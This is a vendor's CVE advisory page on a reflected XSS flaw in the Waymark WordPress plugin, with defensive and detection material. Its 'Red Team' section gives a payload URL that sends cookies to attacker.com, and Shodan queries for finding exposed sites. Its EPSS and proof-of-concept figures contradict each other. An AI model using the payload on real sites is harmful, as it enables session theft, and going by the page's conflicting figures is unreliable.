☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12325

CVE-2024-12325 Cross-Site Scripting in Waymark
📅 PUBLISHED: 2024-12-11 11:24 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.89%
👁️
2.89% probability
72.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12325 is a reflected Cross-Site Scripting (XSS) vulnerability in the Waymark plugin for WordPress, affecting all versions up to and including 1.4.1. The flaw resides in insufficient sanitization of the content parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser within the context of the vulnerable WordPress site. The CVSS v3.1 base score is 6.1 (Medium), with a low EPSS score of 0.0% indicating low active exploitation likelihood. No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Waymark plugin is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Waymark) and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a link or perform an action.
  • Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.1, the requirement for user interaction and low EPSS score reduce immediate risk. However, the lack of a patch and the plugin's widespread use in WordPress ecosystems elevate the need for proactive monitoring.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the Waymark plugin. The content parameter is passed directly into the page output without proper sanitization or escaping. An attacker can craft a URL like:

https://example.com/wp-content/plugins/waymark/some-page.php?content=<script>alert('XSS')</script>

When a logged-in administrator or editor clicks this link, the injected script executes in their browser. This can be used to steal session cookies, perform actions on behalf of the user, or deface the site.

The root cause is the lack of esc_html() or wp_kses_post() sanitization on the content parameter before output. WordPress core functions like esc_attr() or esc_url() are not applied.

Vulnerable vs. Patched Code

Vulnerable Code (example from Waymark <= 1.4.1):

<?php
$content = $_GET['content'];
echo "<div class='waymark-content'>" . $content . "</div>";
?>

Patched Code (hypothetical fix):

<?php
$content = isset($_GET['content']) ? esc_html($_GET['content']) : '';
echo "<div class='waymark-content'>" . $content . "</div>";
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Install WordPress with Waymark plugin version 1.4.1 on a local server (e.g., XAMPP or Docker).
  2. Craft Payload: Create a malicious URL:
    http://localhost/wp-content/plugins/waymark/some-page.php?content=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Deliver: Send the link to a victim via email or social engineering.
  4. Execute: When the victim clicks, the script executes, sending their cookies to the attacker's server.

Blue Team (Defense & Detection)

  1. Monitor Logs: Check web server access logs for suspicious content parameter values containing <script> tags.
  2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with content parameter containing <script> or onerror= patterns.
  3. User Training: Educate users not to click suspicious links, especially those containing query parameters.

Indicators of Compromise (IOCs)

  • URL Pattern: ?content=<script> or ?content=javascript: in the query string.
  • Web Logs: Entries showing GET /wp-content/plugins/waymark/some-page.php?content=... with unusual characters.
  • Network Traffic: Outbound connections to attacker-controlled domains from the WordPress server.
  • File Changes: Unexpected modifications to WordPress core files or plugin files (though unlikely for reflected XSS).

Detection Engineering

YARA Rule

rule CVE_2024_12325_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Waymark plugin content parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12325"
    strings:
        $payload1 = /content=<script[^>]*>/
        $payload2 = /content=.*onerror=/
        $payload3 = /content=.*alert\(/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt via Waymark Plugin
id: 8f4b3c2a-1d5e-4f7b-9a0c-3e6d8f2b1a4c
status: experimental
description: Detects HTTP requests with malicious content parameter targeting Waymark plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "content=<script"
            - "content=javascript:"
            - "content=onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12325 Reflected XSS in Waymark Plugin"; flow:to_server,established; content:"/wp-content/plugins/waymark/"; http_uri; content:"content="; http_uri; pcre:"/content=<script|content=javascript:|content=onerror=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the Waymark plugin until a patch is available.
  2. Short-term: Implement a WAF rule to block malicious content parameter values.
  3. Long-term: Apply vendor patch when released. If no patch is forthcoming, consider replacing the plugin with an alternative.
  4. User Education: Train users to avoid clicking suspicious links.
  5. Monitoring: Enable logging and alerting for unusual query parameters.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/waymark"
http.html:"waymark" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12325/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.